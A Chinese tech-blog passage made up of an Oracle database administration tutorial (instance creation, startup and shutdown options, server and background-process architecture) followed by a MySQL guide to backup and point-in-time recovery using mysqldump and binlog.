LICENSE_MAX_WARNING:数据库最大警告会数(会话数据达到这个值时,产生新会话时就会产生警告信息)e.系统跟踪信息管理参数 USER_DUMP_DEST:用户跟踪文件生成的设置 BACKGROUND_DUMP_DEST:后台进程跟踪文件生成的位置 MAX_DUMPFILE_SIZE:跟踪文件的最大尺寸f.系统性能优化与动态统计参数SQL_TRACE:设置SQL跟踪 TIMED_STATICS:设置动态统计 AUDIT_TRAIL:启动数据库审计功能g.其他系统参数 CONTROL_FILES:控制文件名及路径 Undo_MANAGMENT:Undo空间管理方式 ROLLBACK_SEGMENTS:为这个例程分配的回退段名 OPEN_CURSORS:一个用户一次可以打开的游标的最大值 PROCESSES:最大进程数,包括后台进程与服务器进程 IFILE:另一个参数文件的名字 DB_RECOVERY_FILE_DEST:自动数据库备份目录 DB_RECOVERY_FILE_SIZE:数据库备份文件大小2)参数文件样式db_name=myoracle instance_name=myoracle db_domain=fangys.xiya.com service_names=myoracle.fangys.xiya.com control_files=(/home/app/oracle/product/10.1.0/oradata/myoracle/control01.ctl,                   /home/app/oracle/product/10.1.0/oradata/myoracle/control02.ctl,                   /home/app/oracle/product/10.1.0/oradata/myoracle/control03.ctl) db_block_size=8192 user_dump_dest=/home/app/oracle/product/10.1.0/admin/myoracle/udump background_dump_dest=/home/app/oracle/product/10.1.0/admin/myoracle/bdump core_dump_dest=/home/app/oracle/product/10.1.0/admin/myoracle/cdump db_recovery_file_dest=/home/app/oracle/product/10.1.0/flash_recover_area db_recovery_file_size=100G ... 3.设置操作系统参数 $ORACLE_SID=myoracle $export ORACLE_SID 4.启动实例并创建数据库在创建数据库之前,首先要以新的数据库参数启动数据库实例,因为这时数据库的控制文件还没有产生,不能MOUNT或OPEN数据库。启动实例时,Oracle只按照内存参数分配SGA区,启动系统后台进程。 $sqlplus "sys/pass as sysdba" sql>startup nomount 如果参数文件不在规定的目录中,可以在启动实例时指定参数文件: sql>startup pfile=/export/home/user/initmyoracle.init nomount 在实例启动后就可以使用CREATE DATABASE命令创建数据。其详细语法请参考Oracle官方SQL参考文档。这里以实例来介绍: sql>CREATE DATABASE myoracle        MAXINSTANCE 1        MAXLOGHISTORY 216        MAXLOGFILES 50        MAXLOGMEMBERS 5 DATAFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/system01.dbf' SIZE 500m AUTOEXTEND ON NEXT 100m MAXSIZE UNLIMITED LOGFILE        GROUP 1('/home1/app/oracle/product/10.1.0/oradata/myoracle/log1a.log',                '/home1/app/oracle/product/10.1.0/oradata/myoracle/log1b.log') SIZE 10m,        GROUP 2('/home1/app/oracle/product/10.1.0/oradata/myoracle/log2a.log',                '/home1/app/oracle/product/10.1.0/oradata/myoracle/log2b.log') SIZE 10m,        GROUP 3('/home1/app/oracle/product/10.1.0/oradata/myoracle/log3a.log',                '/home1/app/oracle/product/10.1.0/oradata/myoracle/log3b.log') SIZE 10m, Undo TABLESPACE undotbs DATAFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/undotbs01.dbf' size 200m AUTOEXTEND ON NEXT 100m MAXSIZE UNLIMITED DEFAULT TEMPORARY TALESPACE temp TEMPFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/temp01.dbf' size 325m AUTOEXTEND ON NEXT 100m MAXSIZE UNLIMITED DEFAULT TABLESPACE users DATAFILE '/home1/app/oracle/product/10.1.0/oradata/myoracle/usertbs01.dbf' size 1000m CHARACTER SET ZHS16GBK; 这里说明一下CREATE DATABASE语句的各个关键字的含义: DATAFILE:SYSTEM表空间的数据文件定义 LOGFILE:日志文件组的定义 Undo_TABLESPACE:重做表空间的定义 DEFAULT TEMPORTY TABLESPACE:默认临时表空间的定义 DEFAULT TABLESPACE:默认数据表空间的定义。 5.创建数据字典 在数据库创建结束后,数据库自动处于OPEN状态下,这时所有V$××××类数据字典都可以查询。而其它数据字典,如DBA_DATA_FILES、DBA_TABLESPACES等都不存在,必须通过下列骤为系统创建数据字典。 1)加载常用的数据字典包 sql>@/home/app/oracle/product/10.1.0/db_1/rdbms/catalog 2)加载PL/SQL程序包 sql>@/home/app/oracle/product/10.1.0/db_1/rdbms/admin/catproc 3)加载数据复制支持软件包 sql>@/home/app/oracle/product/10.1.0/db_1/rdbms/admin/catrep 4)加载Java程序包 sql>@/home/app/oracle/product/10.1.0/db_1/javavm/install/initjvm 5)加载系统环境文件 sql>connect system/pass sql>@/home/app/oracle/product/10.1.0/db_1/sqlplus/admin/pupbld 二、在Windows下创建数据库Oracle实例在Windows下表现为操作系统服务。在windows下,使用命令行方式创建数据的方法有所不同,差别在于在Windows下,需要先创建数据库服务和实例。 1.确定数据库名、数据库实例名和服务名并创建目录(DBCA创建的脚本不包含建立目录命令,须自己创建)建立目录命令(下面以 db_name=eygle为例): mkdir D:\oracle\ora90\cfgtoollogs\dbca\eygle mkdir D:\oracle\ora90\database mkdir d:\oracle\admin\eygle\adump mkdir d:\oracle\admin\eygle\bdump mkdir d:\oracle\admin\eygle\cdump mkdir d:\oracle\admin\eygle\dpdump mkdir d:\oracle\admin\eygle\pfile mkdir d:\oracle\admin\eygle\udump mkdir d:\oracle\flash_recovery_area mkdir d:\oracle\oradata mkdir d:\oracle\oradata\eygle 2.创建参数文件 在Windows下的参数文件名称及路径如下: d:\oracle\product\10.1.0\admin\DB_NAME\pfile\init.ora(oracle10g) d:\orant\database\iniORACLE_SID.ora(oracle7,oracle8) 参数据文件内容与前述一致。这里不再说明。 3.选择数据库实例设置环境变量ORACLE_SID c:\>set ORACLE_SID=数据库实例名 4.创建数据库实例在Windows中创建数据库实例的命令为Oradim.exe,是一个可执行文件,可以在操作系统符号下直接运行。直接输入oradim显示此命令的帮助。 c:\>Oradim 下面对Oradim命令的参数进行一个说明 ------------------------------- -NEW 表示新建一个实例 -EDIT 表示修改一个实例 -DELETE 表示删除一个实例 -SID sid     指定要启动的实例名称 -SRVC service 指定要启动的服务名称 -INTPWD password 以Internal方式连接数据库时的口令字 -MAXUSERS count 该实例可以连接的最大用户数 -USRPWD password 指定内部用户的口令,如是作为Windows管理登录,不用此参数 -PFILE pfile     该实例所使用的参数文件名及路径 -STARTTYPE srvc|inst|srvc,inst 启动选项(srvc:只启动服务,inst:启动实例,服务必须先启动,srvc,inst:服务和实例同时启动) -SHUTTYPE srvc|linst|srvc,inst 关闭选项(srvc:只关闭服务,实例必须已关闭,inst:只关闭实例,srvc,inst:服务和实例同时关闭) -STARTMODE a|m 创建实例所使用的模式(a:自动,即windows启动时自动启动 m:手动) -SHUTMODE a|i|m 关闭实例时所使用的模式(a:abort异常方式,i:immediate立即方式,n:normal正常方式) ---------------------------- 例:创建一个数据库实例 c:\>oradim -NEW -SID myoracle -STARTMODE m -PFILE "d:\fangys\initmyoracle.ora" 或 c:\>oradim -NEW -SRVC OracleServicemyoracle -STARTMODE m -PFILE "d:\fangys\initmyoracle.ora" 例:修改一个数据实例 c:\>oradim -EDIT -SID myoracle -STARTMODE a 或 c:\>oradim -EDIT -SRVC OracleServicemyoracle -STARTMODE a 例:删除一个实例 c:\>oradim -DELETE -SID myoracle 或 c:\>oradim -DELETE -SRVC Oracleservicemyoracle 例:启动服务与实例 c:\>oradim -STARTUP -SID myoracle -STARTTYPE srvc,inst 只启动服务 c:\>oradim -STARTUP -SID myoracle -STARTTYPE srvc 启动实例: c:\>oradim -STARTUP -SID myoracle -STARTTYPE inst 例:关闭服务与实例 c:\>oradim -SHUTDOWN -SID myoracle   c:\>oradim -SHUTDOWN -SID myoracle -SHUTTYPE srvc,inst 5.启动实例并创建数据库c:\>oradim -NEW -SID myoracle -INTPWD syspass -STARTMODE a -PFILE d:\fangys\initmyoracle.ora c:\>set ORACLE_SID=myoracle c:\>sqlplus sys/syspass as sysdba sql>startup -pfile=d:\fangys\initmyoracle.ora nomount sql>CREATE DATABASE myoracle logfile group... ... 6.创建数据字典 sql>@d:\oracle\product\10.1.0\db_1\rdbms\admin\catalog.sql; sql>@d:\oracle\product\10.1.0\db_1\rdbms\admin\catproc.sql; sql>@d:\oracle\product\10.1.0\db_1\rdbms\admin\catrep.sql; sql>@d:\oracle\product\10.1.0\db_1\javavm\install\initjvm.sql; sql>@d:\oracle\product\10.1.0\db_1\sqlplus\admin\ppbld.sql; 一、启动数据$sqlplus "sys/pass as sysdba" sql>startup 二、启动监听器  数据库启动后,如果未启动监听进程,则客户端无法与数据库连接。监听进程的启动方法为: $lsnrctl start 在widnows中,可以从服务列表中启动监听器。 监听里程配置文件为listener.ora,位于目录/home/app/oracle/product/10.1.0/db1/network/admin/。 此配置文件分为两部分,一部分为监听程序本身的配置,包括协议,地址,端口号等;另一部分为监听程序所连接的数据库的实例信息,包括:实例名,全局数据库名,oracle主目录等。监听器可以利用oracle net config 向导来配置。 要显示监听器的运行状态:$lsnrctl status; 要停止监听器:$lsnrctl stop。 三、数据库的启动过程 分为三个阶段: 1. 启动实例,包括以下操作: 1) 读取参数文件 2) 分配SGA 3) 启动后台进程 2.装载数据库 装载数据库是将数据库与已启动的实例相联系。数据库装载后,数据库保持关闭状态。 3.打开数据库 此步骤使用数据库可以进行正常的操作的处理。主要是打开控制文件,数据库文件和日志文件。 四、数据库启动参数 1.NOMOUNT:只启动实例,不装载数据库  sql>startup nomount 2.MOUNT:启动实例,并装载数据,但不打开数据库 sql>startup mount 3.READ ONLY:将数据库置为只读 sql>startup mount sql>alter database open read only 4.READ WRITE:以可读写方式打开数据,这是默认方式 sql>startup mount sql>alter database open read write 5.OPEN:打开数据库,这是默认方式 sql>startup mount sql>alter database open; 6.RESTRICT:以受限方式打开,只有具有RESTRICTED SESSION权限的用户才可以连接数据库 sql>startup restrict 7.PFILE:启时指定参数文件 sql>startup pfile=/u02/user/mypfile.ora 8.FORCE:以强制方式启动数据库 sql>startup pfile=/u02/user/mypfile.ora open restrict force 五、数据库的关闭  与启动过程相对应,关闭包括三个过程 1).关闭数据库 2).卸载数据库 3).关闭数据库实例 1.NORMAL关闭方式 NORMAL关闭方式是正常关闭方式,是默认关闭方式。在这种关机方式下,数据库服务器必须等待所有客户端从Oracle中正常退出时,才可以关闭数据库。 SQL>SHUTDOWN NORMAL 2.IMMEDIATE关闭方式 使用这种方式关闭数据库时,系统将连接到数据库的所有用户尚未提交的事务全部回退,中断连接,然后关闭数据库。 SQL>SHUTDOWN IMMEDIATE 3.ABORT关闭方式 ABORT关闭方式为异常方式,使用这种方式关闭数据库时,系统立即将数据库实例关闭,对事务膛数据完整性不作检查。是最快的关机方式。 sql>shutdown abort; 4.TRANSACTIONAL关闭方式 在这种关机方式中,数据库必须等待所有的客户运行的事务结束,提交或回退。 sql>shutdown transactional  Oracle数据库的连接结构有三种:1) 组合用户与服务器结构:在这种连接方式中,客户端与服务器同处一台机器中,对于每一个用户,其库应用程序与服务器程序组合成单个服务器进程。 2) 专用服务器(Dedicated Server)结构:在这种方式中,对于每一个用户,其数据库应用是由用户进程所运行,并有一个专用服务器进程为之服务,执行Oracle服务器代码。 3) 多线程服务器(Multithreaded Server)体系结构:在这种方式中,一个或多个客户应用程序共享一组服务器进程,与专用服务器不同的是,客户和服务器进程不是一对一的关系,而是由调度进程对多个服务器进程进行调度,以服务来自客户应用的连接请求。 专用服务器 专用服务器的工作过程: 1) 客户端通过oracle net向监听器发连接请求 2) 监听器收到请求并将此请求导向服务器,服务器向用户返回一个连接成功信息,并为此用户创建一个专用服务器进程 3) 客户直接与该专用服务器进程进行交互,处理SQL,并且服务器在该会话的PGA中建立一个专用SQL区。 如果客户端要求建立专用服务器连接方式,可以修改客户羰的网络配置文件tnsnames.ora或修改连接描述串。增加关键字“Server=DEDICATED”,如: prod=        (DESCRIPTION=          (ADDRESSLIST=            (ADDRESS=              (PROTOCOL=TCP)(HOST=192.168.0.3)(PORT=1521)              (SERVER=DEDICATED)            )          )          (CONNECT_DATA=(SID=PROD)         )        )  还必须修改SQLNET.ORA文件,增加“USE_DEDICATED_SERVER=TRUE” 多线程服务器体系结构 专用服务器结构中,一个服务器进程只为一个客户服务。这样的话,如果有一千个客户,就需要有一千个对应的服务器进程,就会耗费大量的系统资源。为了支 持对于可伸缩性的需求,在oracle7中引入了多线程服务器(MTS,也称为共享服务器)。下面说明共享服务器建立连接的过程,以级与建立专用服务器连 接过程的不同: 1) 客户通过网络与监听器联系 2) 监听器检测到请求,基于Oracle net结构来确定是否与多线程服务器连接。监听器将客户请求导向相应的调度程序。 3) 监听器通过使客户与调度程序了解对方的网络地址,从面完成了双方的介绍。 4) 一旦客户与调度程序知道如何找到对方,它们就直接通信,不要需要监听器。客户直接将操作请求发送给高度程序。 5) 调度程序将客户请求放在SGA的请求队列中。 6) 下一个可用的共享服务器进程从请求队列中读取请求,进行相应的工作。 7) 共享服务器进程将结果存放在提交相应请求的调度程序的响应队列中。 8) 调度程序从响应队列中读取数据并将结果送组客户。   有几个概念在这里作个补充说明:1) 监听器(Listener):为一个或多个实例“监听”连接请求,它是oracle客户与服务器的中介。监听器不是Oracle实例的一部分,它的作用是将连接的请求导向相应的实例。 2) 调度程序(dispatcher):在MTS体系结构中,监听器与调度程序联系,调度程序负责调度MTS中的各个共享服务器进程。   多线程服务器的设置参数有: MTS_SERVICE:多线程服务器名称,一般为数据库名 MTS_DISPATCHERS:初始调度器个数 MTS_MAX_DISPATCHERS:调度器最大个数 MTS_SERVERS:共享服务器个数 MTS_MAX_SERVERS:最大共享服务器个数 多线程服务器的设置是通过对以上各个参数的设置完成的。格式如下: MTS_SERVICE=RS MTS_SERVERS=10 MTS_MAX_SERVERS=100 MTS_DISPATCHERS="(PROTOCOL=TCP)(POOL=YES)(MULT=YES)" MTS_DISPATCHERS="(PROTOCOL=IPX)(POOL=YES)(MULT=YES)" MTS_DISPATCHERS="(PROTOCOL=IPC)(POOL=YES)(MULT=YES)" MTS_MAX_DISPATCHERS=100 有关多线程服务器的数据字典如下: V$MTS V$DISPATCHER V$SHARED_SERVER V$CIRCULT 各字典的详细说明请参考Oracle文档。 第八篇 再述oracle数据库体系结构 之四:Oracle实例的进程结构   这里所讲的里程是指Unix系统中的进程,在Windows中,Oracle是一个操作系统服务。 Oracle实例由内存区域和后台进程组成。 Oracle实例分为单进程实例(一个进程执行全部的Oracle代码,只允许单个用户存取)和多进程实例(由多个进程执行Oracle代码的不同部分,对于每一个连接的用户都有一个进程,允许多个用户同时使用)。 在多进程结构中,除服务器进程(请注意,此“服务器进程”不是指所有的实例中的进程,见下面的说明)外,还有其他后台进程,包 括:Dnnn,DBWR, LGWR,ARCH,PMON,SMON,CKPT,RECO等。在数据库启动后,这些进程常驻操作系统。Oracle中所有进程的数量之和不能超过参数 PROCESS设定的值: sql>show parameter process      当Oracle客户端应用程序与Oracle实例连接的时候,Oracle会产生一个服务器进程来为这些客户服务,此进程在widnows下表现为线程。 此进程的主要作用有:对于用户发出的SQL语句进行语法分析,编译,执行用户的SQL语句,如是数据块不在数据缓冲区时,则从磁盘数据文件将数据读入到 SGA的共享数据缓冲区中,将SQL语句的执行结果返回组应用程序。下面的语句用来查询数据库中的用户会话信息。 sql>select substr(s.sid,1,3) sid,substr(s.serial#,1,5) ser,spid,substr(schemaname,1,10) schema,substr(type,1,3) typ,substr(decode((consistent_gets+block_gets),0,'None',(100*(consistent_gets+block_gets-physical_reads)/consistent_gets+block_gets))),1,4) "%hit",value cpu,substr(block_changes,1,5) bchng from v$process p,v$sesstat t,v$sess_io i,v$session s where i.sid=s.sid and p.addr=paddr(+) and s.sid=t.sid and t.statistic#=12; 结果中: sid 表示会话ID号, ser 表示会话serial#号,serial#与sid组合以唯一表示一个会话, spid 表示操作系统进程号, schema 表示数据库用户名, typ 表示进程类型,use为用户进程,bac为后台进程 %hit 表示数据缓冲区命中率, cpu 表示使用cpu的时间, bchng 表示修改了的数据块的个数。 下面介绍各个后台进程。1. DBWR进程 DBWR(Database Writer)进程将缓冲区中的数据写入数据文件,负责数据缓冲区的管理。 当数据缓冲区中的一个数据被修改后,被标记为“脏”,DBWR进程负责将“脏”数据写入磁盘。 DBWR采用LRU算法来替换数据缓冲区中的数据。 DBWR的作用包括: 1) 管理数据缓冲区,以便服务器进程总能找到空闲缓冲区 2) 将所有修改后的缓冲区中的数据写入数据库文件 3) 使用LRU算法将最近使用过的块保留在内存中 4) 通过延迟写来优化磁盘i/o. 在下列情况下DBWR要将脏数据写入磁盘数据文件: 1) 当一个服务器进程将缓冲数据块移“脏表”,面该脏表达到一定程度进。(该临界长度由参数DB_BLOCK_WRITE_BATCH决定) 2) 当一个服务器进程在LRU表中查找DB_BLOCK_MAX_SCAN_CNT缓冲区时,没有查到空闲的缓冲区 3) 出现超时 4) 检查点发生时 在一个Oracle实例中,允许启动多个DBWR进程,DBWR进程个数由参数DB_WRITE_PROCESSES指定,上限为20,进程名依次自动命名为:DBW0,DBW1,DBW2...DBW19。 sql>show parameter processes 2. LGWR进程 LGWR(Log Writer)进程将日志数据从日志缓冲区中写入磁盘日志文件中。 关于LGWR进程的工作时机可以看我写的第一篇《一次事务过程》。 LGWR的写盘条件是: 1) 发生提交,即commit; 2) 日志缓冲区达到总数的1/3时; 3) 超时; 4) DBWR进程需要为检验点清除缓冲区时。 每一个Oracle实例只有一个LGWR进程。 LGWR将日志信息同步的写入到日志文件组的多个日志成员中,如果组中的一个成员文件被删除或不可使用,LGWR将日志信息继续写到该组的其他文件中,不影响数据库的运行。 3. SMON进程 SMON(System Monitor),系统监控进程,在实例启动时执行实例恢复,并负责清理不再使用的临时段。 4. PMON进程 PMON(Process Monitor),进程监控里程,在服务器进程出现故障时执行进程恢复,负责清理内存内存和释放该进程所使用的资源。 5. ARCH进程 ARCH(Archive Process,归档进程)在日志存满时将日志信息写到磁盘或磁带,用于介质失败时的恢复。 日志信息首先产生于日志缓冲区,再由日志写入进程LGWR将日志数据写入日志文件组,日志切换时,由归档进程ARCH将日志数据从日志文件组中写入归档日志中。 在一个数据库实例中,归档进程最多可以启动10个,进程名依次自动命名为ARC0,ARC1,ARC2...ARC9,设置方法是:在参数文件中增加 参数LOG_ARCHIVE_MAX_PROCESSES。关于如何启用数据库的自动归档,在前面的《物理结构》一篇中已有说明,这里说明一个几个相关的 参数: 1) LOG_ARCHIVE_DEST:用于设置归档日志的文件存储目录 2) LOG_ARCHIVE_DUBLEX_DEST:用于设置归档日志文件的镜像存储目录,此参数在oracle 8及以上的版本中支持 3) LOG_ARCHIVE_DEST_n:用于设置更多的镜像目录,其中,1<=n<=10,该参数有以下三个选项: (1)MANDATORY:表示必须完成此目录的归档,才可以切换。 (2)REOPEN:归档目录或介质失败后,需等多长时间能重新写入日志,默认时间为300秒。 (3)OPTIONAL:不管是否归档完成都进行切换,这是默认方式 举例如下: LOG_ARCHIVE_DEST_1='LOCATION=/u01/oracle/archive/                        MANDATORY                        REOPEN=500' LOG_ARCHIVE_DEST_2='LOCATION=/u02/oracle/archive/                        OPTIONAL' LOG_ARCHIVE_DEST_n只适用于oracle 8i及以上的版本。 4) LOG_ARCHIVE_DEST_STATE_n:用于对归档日志目录进行失效或生效,该参数与LOG_ARCHIVE_DEST_n一一相对应。如: LOG_ARCHIVE_DEST_STATE_1=DEFER LOG_ARCHIVE_DEST_STATE_2=ENABLE 此参数可以在线设置: sql> ALTER SYSTEM SET LOG_ARCHIVE_DEST_STATE_1=DEFER; 此参数只适用于oracle 10g及以上版本。 6. CKPT进程 CKPT(CheckPoint,检查点)进程出现时,系统对全部数据库文件及控制文件的文件头的同步号进行修改,以保证数据库的同步。 以下两个参数是对CKPT有影响的: LOG_CHECKPOINT_TIMEOUT:决定产生一个检验点的时间间隔,单位为秋,默认为1800; LOG_CHECKPOINT_INTERVAL:执行一个检验点需要填充的日志文件块的数目,默认为0,表示不起作用。 系统对于数据库的改变信息用系统改变号SCN表示,SCN也叫检验点号,在日志中用CHECKPOINT_CHANGE#表示,它是数据文件,日志文件,控制文件的同步的同步依据,同时存储在这三个中,在系统改变时,检验点号也会同时改变。 引起CKPT产生的主要时机有: 1)日志切换时 2)达到LOG_CHECKPOINT_TIMEOUT指定的间隔时间 3)达到LOG_CHECKPOINT_INTERVAL指定的日志块数 4)数据库关闭 5)DBA强制产生 6)表空间OFFLINE时 7. RECO进程 RECO(Recover,恢复)进程用于分布式数据库系统,RECO进程自动地解决在分布式数据库中的事务故障。 8. LCKn进程 LCKn(锁进程)用于Oracle并行服务器环境下,用于多个实例间的封锁,该进程最多可以启动10个。 9. Dnnn进程 Dnnn(Despatcher,调度)进程。用于多线程服务器体系结构中。详见下一篇《Oracle连接配置结构》 10. SNP进程 SNP是作业进程,主要用于分布式数据库中,进行数据库之间快照的自动刷新,并同时通达DBMS_JOB程序包自动运行预定的存储过程,SQL,PL/sql程序等。有两个参数用来控制作业进程的计划: 1) JOB_QUEUE_PROCESS:用于设置作业进程个数 2) JOB_QUEUE_INTERVAL:用于设置作业进程被周期性唤醒的时间间隔 后台进程跟踪信息 所有修改数据库结构的命令会自动被后台进程跟踪记录,跟踪信息由oracle后台进程自动存储,跟踪文件的名称为alter_SID。此文件的存储目录由参数BACKGROUND)DUMP_DEST指定。 可以用工具命令TKPROF来格式化跟踪文件,如: $tkprof oralogfile1.log 除了跟踪后台进程外,还可以启用参数SQL_TRACE对用户的语句进行跟踪。修改参数文件: TIMED_STATISTICS=TRUE USER_DUMP_DEST=目录名 MAX_DUMP_FILE_SIZE=5M SQL_TRACE=TRUE 或者: SQL>ALTER SESSION SET SQL_TRACE=TRUE对当前会话进行SQL跟踪。 锁等待问题与KILL SESSION 为了保证数据的一致性,系统提供锁机制。有关锁的概念可以参数《数据库系统概论》一书。要了解当前在等待锁资源的用户: sql>select a.username,a.sid,a,serial#,b.id1 from v$session,v$lock where a.lockwait=b.kaddr; 要了解锁住其它用户的用户进程: SQL>SELECT A.USERNAME,A.SID,A,SERIAL#,B.ID1 FROM V$SESSION A,V$LOCK B WHERE B.ID1 IN (SELECT DISTINCT E.ID1 FROM V$SESSION D,V$LOCK E WHERE D.LOCKWAIT=E.KADDR) AND A.SID=B.SID AND B.REQUEST=0; 本文转自 yuwenhu 51CTO博客,原文链接:http://blog.51cto.com/yuwenhu/141625,如需转载请自行联系原作者
文章
SQL  ·  存储  ·  监控  ·  关系型数据库  ·  数据库
2017-11-23
DBA必知的mysql备份与还原的几大方法
博主QQ:819594300 博客地址:http://zpf666.blog.51cto.com/ 有什么疑问的朋友可以联系博主,博主会帮你们解答,谢谢支持!一、mysqldump备份结合binlog日志恢复 说明:MySQL备份一般采取全库备份加日志备份的方式,例如每天执行一次全备份,每小时执行一次二进制日志备份。这样在MySQL故障后可以使用全备份和日志备份将数据恢复到最后一个二进制日志备份前的任意位置或时间。 1、binlog介绍 1)该日志记录着数据库的所有增、删、改的操作日志,还包括这些操作的执行时间。 Binlog功能默认是关闭的,没有开启。 查看binlog,用mysqlbinlog  -v  mysql-bin.000001 Binlog的用途:1:主从同步          2:恢复数据库 开启binary log功能:通过编辑my.cnf中的log-bin选项可以开启二进制日志;形式如右:log-bin[=DIR/[filename]] ,注释:每次重启mysql服务或运行mysql> flush logs;都会生成一个新的二进制日志文件,这些日志文件的number会不断地递增,除了生成上述的文件外还会生成一个名为filename.index的文件。这个文件中存储所有二进制日志文件的清单又称为二进制文件的索引。 2)查看产生的binary log   注:查看binlog内容是为了恢复数据 说明:bin-log因为是二进制文件,不能通过文件内容查看命令直接打开查看,mysql提供两种方式查看方式。 ①在介绍之前,我们先对数据库进行一下增删改的操作,否则log里边数据有点空。 ②重新开始一个新的日志文件 ③查看MySQL Server上的二进制日志 查看指定的二进制日志中的事件: 该命令还包含其他选项以便灵活查看: 总结:上述方式可以查看到服务器上存在的二进制日志文件及文件中的事件,但是想查看到文件中具体的内容并应于恢复场景还得借助mysqlbinlog这个工具。 语法格式:mysqlbinlog  [options]  log_file ... 输出内容会因日志文件的格式以及mysqlbinlog工具使用的选项不同而略不同。 mysqlbinlog的可用选项可参考man手册。 说明:无论是本地二进制日志文件还是远程服务器上的二进制日志文件,无论是行模式、语句模式还是混合模式的二进制日志文件,被mysqlbinlog工具解析后都可直接应用与MySQL Server进行基于时间点、位置或数据库的恢复。   下面我们就来演示如何使用binlog恢复之前删除数据(id=2那条记录) 注意:在实际生产环境中,如果遇到需要恢复数据库的情况,不要让用户能访问到数据库,以避免新的数据插入进来,以及在主从的环境下,关闭主从。 ①查看binlog文件,从中找出delete from bdqn.test where id=2 # cd/usr/local/mysql/data/ # mysqlbinlog  -v mysql-bin.000002 显示结果如下: 图片看不清楚的可以看下面复制的日志:# at 219 #170316 21:52:28 server id 1  end_log_pos 287 CRC32 0xff83a85b    Query   thread_id=2 exec_time=0 error_code=0 SET TIMESTAMP=1489672348/*!*/; SET @@session.pseudo_thread_id=2/*!*/; SET @@session.foreign_key_checks=1,@@session.sql_auto_is_null=0, @@session.unique_checks=1,@@session.autocommit=1/*!*/; SET @@session.sql_mode=1075838976/*!*/; SET @@session.auto_increment_increment=1, @@session.auto_increment_offset=1/*!*/; /*!\C utf8 *//*!*/; SET@@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=33/*!*/; SET @@session.lc_time_names=0/*!*/; SET @@session.collation_database=DEFAULT/*!*/; BEGIN /*!*/; # at 287 #170316 21:52:28 server id 1  end_log_pos 337 CRC32 0x343e7343   Table_map: `bdqn`.`test` mapped to number 108 # at 337 #170316 21:52:28 server id 1  end_log_pos 382 CRC32 0xa3d1ce0d    Delete_rows: table id 108 flags: STMT_END_F   BINLOG ' nJjKWBMBAAAAMgAAAFEBAAAAAGwAAAAAAAEABGJkcW4ABHRlc3QAAgMPAjwAAkNzPjQ= nJjKWCABAAAALQAAAH4BAAAAAGwAAAAAAAEAAgAC//wCAAAABGxpc2kNztGj '/*!*/; ### DELETE FROM `bdqn`.`test` ### WHERE ###   @1=2 ###   @2='lisi' # at 382 #170316 21:52:28 server id 1  end_log_pos 413 CRC32 0x257e7073    Xid = 10 COMMIT/*!*/; 说明:可以从上图可以看出来delete时间发生position是287,事件结束position是413。 ②恢复流程:直接用bin-log日志将数据库恢复到删除位置287前,然后跳过故障点,再进行恢复下面所有的操作,命令如下 由于之前没有做过全库备份,所以要使用所有binlog日志恢复,所以生产环境中需要很长时间恢复,导出相关binlog文件。 ③删除bdqn数据库(删除bdqn和恢复数据之前,要关闭binlog功能) ④利用binlog恢复数据 ⑤恢复完成后,我们检查下表的数据是否完整 2、mysqldump介绍 作用:mysqldump是mysql自带的备份和数据转移的工具。 特点:它只产生sql语句(即sql命令)封装在文件,而不是真实的数据。 Mysqldump是逻辑备份,不是物理备份,备份的是SQL语句,而不是数据文件。 Mysqldump适用于小型数据库,数据容量一般是在几个G大小,当数据量很大的情况下,不建议使用mysqldump。 导出对象:可以针对单个表、多个表、单个数据库、多个数据库、所有数据库。 格式: #mysqldump   [选项]   库名   [表名1]  [表名2]  … > /备份路径/备份文件名 //导出指定数据库的单个或多个表 #mysqldump   [选项]   --databases  库名1 [库名2]  … >  /备份路径/备份文件名 //导出指定的数据库或多个数据库 #mysqldump   [选项]   --all-databases  >  /备份路径/备份文件名 //导出所有的数据库 #mysqldump   -uroot  -p123456 --flush-logs   bdqn  > /opt/bdqn.sql //导出数据库bdqn,其中“—flush-logs”这个选项是完整备份完毕后开启一个新的binlog #mysql -uroot  -p123456  bdqn <  /opt/bdqn.sql //从备份文件导入数据库bdqn 下面用一个具体的实验说明用mysqldump实现全库备份+binlog的数据恢复 1)开启binlog功能并重启服务 2)创建备份目录 3)创建实验数据 4)开始全库备份(注意:全库备份不会备份binlog日志文件) 5)备份mysqldump全库备份之前的所有的binlog日志文件(注意:真是生产环境中可能不止一个binlog文件) 6)因为全库备份之前的binlog已经备份了,现在就删除它们(即新产生的binlog之前的所有的binlog删除) 7)模拟误操作,删除了数据,并且新增加了新的数据 8)备份自mysqldump之后的binlog日志文件 9)使用mysqldump的全库备份+binlog来恢复数据 ①使用mysqldump的备份进行全库恢复(即恢复到全部备份时候的所有数据) ②分析新开启的binlog日志文件(我这里是mysql-bin.000002)里面误操作的事件的起始位置和终止位置,只要跳过这一段事件即可 图片看不清楚的可以看下面复制的日志: # at 219 #170318 21:14:42 server id 1  end_log_pos 291 CRC32 0xddbf8eff    Query   thread_id=5 exec_time=0 error_code=0 SET TIMESTAMP=1489842882/*!*/; SET @@session.pseudo_thread_id=5/*!*/; SET @@session.foreign_key_checks=1,@@session.sql_auto_is_null=0, @@session.unique_checks=1,@@session.autocommit=1/*!*/; SET @@session.sql_mode=1075838976/*!*/; SET @@session.auto_increment_increment=1,@@session.auto_increment_offset=1/*!*/; /*!\C utf8 *//*!*/; SET @@session.character_set_client=33,@@session.collation_connection=33,@@session.collation_server=33/*!*/; SET @@session.lc_time_names=0/*!*/; SET @@session.collation_database=DEFAULT/*!*/; BEGIN /*!*/; # at 291 #170318 21:14:42 server id 1  end_log_pos 339 CRC32 0x4a9ec8f2   Table_map: `bdqn`.`it` mapped to number 108 # at 339 #170318 21:14:42 server id 1  end_log_pos 388 CRC32 0x2e8a3da8    Delete_rows: table id 108 flags: STMT_END_F   BINLOG ' wjLNWBMBAAAAMAAAAFMBAAAAAGwAAAAAAAEABGJkcW4AAml0AAIDDwI8AALyyJ5K wjLNWCABAAAAMQAAAIQBAAAAAGwAAAAAAAEAAgAC//wBAAAACHpoYW5nc2FuqD2KLg== '/*!*/; ### DELETE FROM `bdqn`.`it` ### WHERE ###   @1=1 ###  @2='zhangsan' # at 388 #170318 21:14:42 server id 1  end_log_pos 419 CRC32 0xa1c06a4f    Xid = 43 COMMIT/*!*/; ③开始使用全库备份后的增量备份的binlog日志文件备份文件进行对全库恢复后的增量数据的恢复 10)查看恢复结果 